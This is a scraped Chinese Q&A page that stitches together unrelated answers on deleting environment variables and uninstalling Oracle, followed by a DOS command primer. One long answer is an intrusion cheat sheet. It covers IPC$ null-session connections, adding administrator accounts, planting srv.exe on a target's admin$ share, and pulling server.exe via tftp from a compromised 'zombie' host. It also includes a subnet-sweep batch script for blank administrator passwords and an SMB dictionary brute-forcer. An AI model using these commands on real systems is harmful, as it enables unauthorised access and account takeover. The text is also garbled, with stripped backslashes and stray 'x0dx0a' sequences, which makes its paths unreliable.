重装Oracle数据库时遇到javaw.exe遇到问题需要关闭是什么原因?

删除环境变量 unset unset my_variable 在涉及环境变量名时，什么时候该使用 ，实在让人摸不着头脑。 记住一点就行了：如果要用到变量，使用 。这条规则的一个例外就是使用printenv显示某个变量的值。 在处理全局环境变量时，事情就有点棘手了。如果你是在子进程中删除了一个全局环境变量，这只对子进程有效。该全局环境变量在父进程中依然可用。

一是Library中的python(即环境变量) ,二是Application中的python ,三是清除指向python的链接。故步骤分为如下三步: ## ...2.检查python是否已删除干净 使用where命令进行检查 whereispython 1 若只显示python2.7...3.mac的环境变量在何处 用户设置的mac的环境变量在如下目录 vim~/.bash

1、在我的电脑图标中右键属性调出系统属性窗口2、在系统属性窗口中找到高级选择卡3、在高级选项卡中找到环境变量按扭并单击打开4、在弹出的环境变量窗口中，在系统变量(S)下的框框中找到并单击选择Path变量名，然后点编辑(N)按扭5、选择变量名为Path的编辑之后，会弹出编辑窗口6、将变量值复制出来然后修改为：%SystemRoot%system32;%SystemRoot%;%SystemRoot%System32Wbem在粘贴会变量值文本框中7、点击确定按钮，关闭属性窗口即可

win7系统怎么删除环境变量右击“我的电脑”，选择“属性”　　在打开的页面“控制面板主页”下找到并打开“高级系统配置”。点击“高级系统配置”，打开“系统属性”窗口。　　在“系统属性”页面点击“环境变量”　　建议修改系统变量而不是某个 用户独有的环境变量。　　在系统变量显示框中找到变量“Path"，选中并点击"编辑"进行修改。　　在弹出的编辑系统变量页面，修改变量值。将要执行命令所在的目录绝对路径加到原来的路径之后，路径与路径通过”；“分号分隔　　编辑完变量值之后点击"确定"按钮，完成环境变量的修改　　注意事项　　环境变量修改后，可能没有立即生效。这时候命令行窗口重启下即可。

在Python中更改环境变量可以使用`os.environ`模块。可以使用以下代码将环境变量设置为指定值：```pythonimport osos.environ["MY_ENV_VAR"] = "my_value"```此代码将名为`MY_ENV_VAR`的环境变量设置为`my_value`。如果环境变量不存在，则会创建该变量。如果要删除环境变量，可以使用以下代码：```pythonimport osif "MY_ENV_VAR" in os.environ: del os.environ["MY_ENV_VAR"]```此代码将检查是否存在名为`MY_ENV_VAR`的环境变量，如果存在，则将其删除。请注意，这只会在当前进程中删除环境变量，而不会影响其他进程或持久存储。

CMD中运行 set path==%path%;d:/mypath 用 set path可以查看，当前的环境变量 方法二 ：批处理中，修改环境变量，永久有效 ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" 另外介绍些关于wminc的用法（简单又实用） ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete 一般来说,wmic创建或修改的系统变量不用重启windows生效,但如果你发现在DOS窗下检测不生效的话,你试着关闭 DOS窗,再检测一次.就生效了. 如果你的批处理想不关闭而直接让新的变量给下级程序应用可以这样写 view plaincopy to clipboardprint? ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe

set 变量名=等号后不加任何东西这样就可以删了

请给出实例使用unset命令,例如要清除path变量,可以如下:unsetpath。如果你还有什么不懂的就去看看《linux就该这么学》这本书

Linux设置/删除环境变量方法：bash下设置：export 变量名=变量值删除：unset 变量名csh下设置：setenv 变量名 变量值删除：unsetenv 变量名

set test=这样输入就可以了

oracle10g 卸载 　　软件环境：　　1、Windows XP + Oracle 10g　　2、Oracle安装路径为：d:Oracle　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；　　2、开始－＞程序－＞Oracle – OraDb10g_home1＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品，但Universal Installer本身不能被删除；　　3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；　　4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；　　5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；　　6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；　　7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；　　8、删除c:Program FilesOracle目录；　　9、重新启动计算机，重起后才能完全删除Oracle所在目录 ；　　10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从Windows XP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、 oraodbc.ini等等；　　11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；　　12、如有必要，删除所有Oracle相关的ODBC的DSN；　　13、到事件查看器中，删除Oracle相关的日志 说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

删除这一部分即可D:appAdministratorproduct11.2.0dbhome_1in;

1.关闭oracle所有的服务。可以在windows的服务管理器中关闭；x0dx0ax0dx0a 2.打开注册表：regedit 打开路径：x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices x0dx0a 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！x0dx0a x0dx0a 3.打开注册表，找到路径：x0dx0a HKEY_LOCAL_MACHINESOFTWAREORACLEx0dx0a 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。x0dx0a x0dx0a 4.删除注册的oracle事件日志，打开注册表x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplicationx0dx0a 删除注册表的以oracle开头的所有项目。x0dx0a x0dx0a 5.删除环境变量path中关于oracle的内容。x0dx0a 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。x0dx0a 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。x0dx0a 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。x0dx0a x0dx0a 6.重新启动操作系统。x0dx0a 以上1~5个步骤操作完毕后，重新启动操作系统。x0dx0a x0dx0a 7.重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）x0dx0a x0dx0a 8.删除C:Program Files下oracle目录。x0dx0a （该目录视Oracle安装所在路径而定）x0dx0a x0dx0a 9.删除开始菜单下oracle项，如：x0dx0a C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10gx0dx0a 不同的安装这个目录稍有不同。x0dx0a 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。x0dx0a x0dx0a 至此，Windows平台下Oracle就彻底卸载了。

直接删除，就可以了。

我的操作是这样的，仅供参考。比如环境变量 serverip，我输入错误为setverip解答：setenv setverip=none 即可删除。或者你uboot下输入命令：help 查看是否有删除环境变量的指令。

你好！如果是打开命令符设置的，这个是临时的，你只要关闭命令符窗口你所设置的变量会自动删除如果对你有帮助，望采纳。

set 变量名=等号后不加任何东西这样就可以删了

按变量的生存周期来划分，Linux变量可分为两类，它们的修改方法如下：（1）永久的：需要修改配置文件，变量永久生效。常见的配置文件包括：（1-1）/etc/profile：对所有用户生效；此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行；并从/etc/profile.d目录的配置文件中搜集shell的设置例如：编辑/etc/profile文件，添加CLASSPATH变量# vi /etc/profile添加一行：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-2）/etc/bashrc：对所有用户生效；为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取编辑方法如上，不再赘述（1-3）~/.bash_profile：仅会对当前用户有效；每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次例如：编辑guok用户目录(/home/guok)下的.bash_profile$ vi /home/guok/.bash.profile添加如下内容：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-4）~/.bashrc：仅会对当前用户有效；该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取编辑方法如上，不再赘述另外，~/.bashrc等中设定的变量(局部)只能继承/etc/profile中的变量,他们是"父子"关系综述，对上述文件修改，添加你需要的变量，在启动一个shell（终端，terminal）时，你所定义的变量均会生效的。（2）临时的：使用export命令声明即可，变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,在关闭shell后失效，再打开新shell时就没有这个变量，需要使用的话还需要重新定义在shell的命令行下直接使用[export 变量名=变量值] 定义变量环境变量的查看（1）使用echo命令查看单个环境变量。例如：echo $PATH（2）使用env查看所有环境变量。例如：env（3）使用set查看所有本地定义的环境变量。例如：set另外，unset可以删除指定的环境变量。常用的环境变量PATH 决定了shell将到哪些目录中寻找命令或程序HOME 当前用户主目录HISTSIZE　历史记录数LOGNAME 当前用户的登录名HOSTNAME　指主机的名称SHELL 当前用户Shell类型LANGUGE 　语言相关的环境变量，多语言可以修改此环境变量MAIL　当前用户的邮件存放目录PS1　基本提示符，对于root用户是#，对于普通用户是$

如何删除oracle的环境变量删除这一部分即可 D:appAdministratorproduct11.2.0dbhome_1in;

在“运行”中输入CMD，调出DOSnet use $">\ipipc$ " " /user:" " 建立IPC空链接net use $">\ipipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: $">\ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:net use h: $">\ipc$ 登陆后映射对方C：到本地为H:net use $">\ipipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名 密码 /add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名 查看帐户的属性net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start 查看开启了哪些服务net start 服务名 开启服务；(如:net start telnet， net start schedule)net stop 服务名 停止某服务net time \目标ip 查看对方时间net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view \ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名 暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码 更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令at id号 开启已注册的某个计划任务at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止at id号 /delete 停止某个已注册的计划任务at 查看所有的计划任务at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机finger username @host 查看最近有哪些用户登陆telnet ip 端口 远和登陆服务器,默认端口为23open ip 连接到IP（属telnet登陆后的命令）telnet 在本机上直接键入telnet 将进入本机的telnetcopy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件copy c:srv.exe $">\ipadmin$ 复制本地c:srv.exe到对方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件copy $svv.exe">\ipadmin$svv.exe c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interfacearp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令mem 查看cpu使用情况attrib 文件名(目录名) 查看某文件（目录）的属性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间set 指定环境变量名称=要指派给变量的字符 设置环境变量set 显示当前所有的环境变量set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量pause 暂停批处理程序，并显示出：请按任意键继续....if 在批处理程序中执行条件处理（更多说明见if命令及变量）goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置echo 信息 在屏幕上显示出信息echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hellofind 文件名 查找某文件title 标题名字 更改CMD窗口标题名字color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )print 文件名 打印文本文件ver 在DOS窗口下显示版本信息winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFSmd 目录名 创建目录replace 源文件 要替换文件的目录 替换文件ren 原文件名 新文件名 重命名文件名tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称type 文件名 显示文本文件的内容more 文件名 逐屏显示输出文件doskey 要锁定的命令＝字符doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=taskmgr 调出任务管理器chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exepath 路径可执行文件的文件名 为可执行文件设置一个路径。cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；regedit /e 注册表文件名 导出注册表cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。cacls 文件名 查看文件的访问用户权限列表REM 文本内容 在批处理文件中添加注解netsh 查看或更改本地网络配置情况IIS服务命令：iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）iisreset /start或stop 启动（停止）所有Internet服务iisreset /restart 停止然后重新启动所有Internet服务iisreset /status 显示所有Internet服务状态iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。FTP 命令： (后面有详细说明内容)ftp的命令行格式为:ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。－d 使用调试方式。－n 限制ftp的自动登录,即不使用.netrc文件。－g 取消全局文件名。help [命令] 或 ？[命令] 查看命令说明bye 或 quit 终止主机FTP进程,并退出FTP管理方式.pwd 列出当前远端主机目录put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中mget [remote-files] 从远端主机接收一批文件至本地主机mput local-files 将本地主机中一批文件传送至远端主机dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件ascii 设定以ASCII方式传送文件(缺省值)bin 或 image 设定以二进制方式传送文件bell 每完成一次文件传送,报警提示cdup 返回上一级目录close 中断与远程服务器的ftp会话(与open对应)open host[port] 建立指定ftp服务器连接,可指定连接端口delete 删除远端主机中的文件mdelete [remote-files] 删除一批文件mkdir directory-name 在远端主机中建立目录rename [from] [to] 改变远端主机中的文件名rmdir directory-name 删除远端主机中的目录status 显示当前FTP的状态system 显示远端主机系统类型user user-name [password] [account] 重新以别的用户名登录远端主机open host [port] 重新建立一个新的连接prompt 交互提示模式macdef 定义宏命令lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录chmod 改变远端主机的文件权限case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母cd remote－dir 进入远程主机目录cdup 进入远程主机目录的父目录! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zipMYSQL 命令：mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。（例：mysql -h110.110.110.110 -Uroot -P123456注:u与root可以不用加空格，其它也一样）exit 退出MYSQLmysqladmin -u用户名 -p旧密码 password 新密码 修改密码grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。use mysql；show tables; 显示库中的数据表describe 表名; 显示数据表的结构create database 库名; 建库use 库名；create table 表名 (字段设定列表)； 建表drop database 库名;drop table 表名； 删库和删表delete from 表名; 将表中记录清空select * from 表名; 显示表中的记录mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\mysql\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb 是一个文本文件，文件名任取，打开看看你会有新发现。win2003系统下新增命令（实用部份）：shutdown /参数 关闭或重启本地或远程主机。参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。例：shutdown /r /t 0 立即重启本地主机（无延时）taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。Linux系统下基本命令： 要区分大小写uname 显示版本信息（同win2K的 ver）dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）pwd 查询当前所在的目录位置cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。cat 文件名 查看文件内容cat >abc.txt 往abc.txt文件中写上内容。more 文件名 以一页一页的方式显示一个文本文件。cp 复制文件mv 移动文件rm 文件名 删除文件，rm -a 目录名删除目录及子目录mkdir 目录名 建立目录rmdir 删除子目录，目录内没有文档。chmod 设定档案或目录的存取权限grep 在档案中查找字符串diff 档案文件比较find 档案搜寻date 现在的日期、时间who 查询目前和你使用同一台机器的人以及Login时间地点w 查询目前上机者的详细资料whoami 查看自己的帐号名称groups 查看某人的Grouppasswd 更改密码history 查看自己下过的命令ps 显示进程状态kill 停止某进程gcc 黑客通常用它来编译C语言写的文件su 权限转换为指定使用者telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。ftp ftp连接上某服务器（同win2K）附：批处理命令与变量1：for命令及变量 基本格式：FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—% 9指输入的第2-9个值；例：net use $">\ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3(set):指定一个或一组文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开command_parameters：为特定命令指定参数或命令行开关IN (set)：指在(set)中取值；DO command ：指执行command参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:pass.txt)时}。用法举例：@echo offecho 用法格式：test.bat *.*.* > test.txtfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。@echo offecho 用法格式：ok.bat ipFOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200存为：ok.exe 说明：输入一个IP后，用字典文件d:pass.dic来暴解d:user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。

DOS命令大全一）MD——建立子目录 1．功能：创建新的子目录 2．类型：内部命令 3．格式：MD[盘符：][路径名]〈子目录名〉 4．使用说明： （1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器； （2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。 例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。 C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX） C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录） （二）CD——改变当前目录 1．功能：显示当前目录 2．类型：内部命令 3．格式：CD[盘符：][路径名][子目录名] 4．使用说明： （1）如果省略路径和子目录名则显示当前目录； （2）如采用“CD、”格式，则退回到根目录； （3）如采用“CD.。”格式则退回到上一级目录。 例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。 C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录） C:、FOX、USER＞CD.。 （退回上一级根目录） C：、FOX＞CD、 （返回到根目录） C：、＞ （三）RD——删除子目录命令 1．功能：从指定的磁盘删除了目录。 2．类型：内部命令 3．格式：RD[盘符：][路径名][子目录名] 4．使用说明： （1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该了目录本身； （2）不能删除根目录和当前目录。 例：要求把C盘FOX子目录下的USER子目录删除，操作如下： 第一步：先将USER子目录下的文件删空； C、＞DEL C：、FOX、USER、*。* 第二步，删除USER子目录。 C、＞RD C：、FOX、USER （四）DIR——显示磁盘目录命令 1．功能：显示磁盘目录的内容。 2．类型：内部命令 3．格式：DIR [盘符][路径][/P][/W] 4．使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示；Pressany key to continue /W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。加上参数后，每行可以显示五个文件名。 PATH——路径设置命令 1．功能：设备可执行文件的搜索路径，只对文件有效。 2．类型：内部命令 3．格式：PATH[盘符1]目录[路径名1]{[；盘符2：]，〈目录路径名2〉…} 4．使用说明： （1）当运行一个可执行文件时，DOS会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件； （2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开； （3）PATH命令有三种使用方法： PATH[盘符1：][路径1][盘符2：][路径2]…（设定可执行文件的搜索路径） PATH：（取消所有路径） PATH：（显示目前所设的路径） （六）TREE——显示磁盘目录结构命令 1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。 2．类型：外部命令 3．格式：TREE[盘符：][/F][》PRN] 4．使用说明： （1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件； （2）选用＞PRN参数时，则把所列目录及目录中的文件名打印输出。 （七）DELTREE——删除整个目录命令 1．功能：将整个目录及其下属子目录和文件删除。 2．类型：外部命令 3．格式：DELTREE[盘符：]〈路径名〉 4．使用说明：该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除，而且不管文件的属性为隐藏、系统或只读，只要该文件位于删除的目录之下，DELTREE都一视同仁，照删不误。使用时务必小心！！！ 五、磁盘操作类命令 （一）formAT——磁盘格式化命令 1．功能：对磁盘进行格式化，划分磁道和扇区；同时检查出整个磁盘上有无带缺陷的磁道，对坏道加注标记；建立目录区和文件分配表，使磁盘作好接收DOS的准备。 2．类型：外部命令 3．格式：formAT〈盘符：〉[/S][/4][/Q] 4．使用说明： （1）命令后的盘符不可缺省，若对硬盘进行格式化，则会如下列提示：WARNING:ALL DATA ON NON——REMOVABLE DISK DRIVE C:WILL BE LOST ！ Proceed with format (Y/N)？ （警告：所有数据在C盘上，将会丢失，确实要继续格式化吗？） （2）若是对软盘进行格式化，则会如下提示：Insert mew diskette for drive A; and press ENTER when ready… （在A驱中插入新盘，准备好后按回车键）。 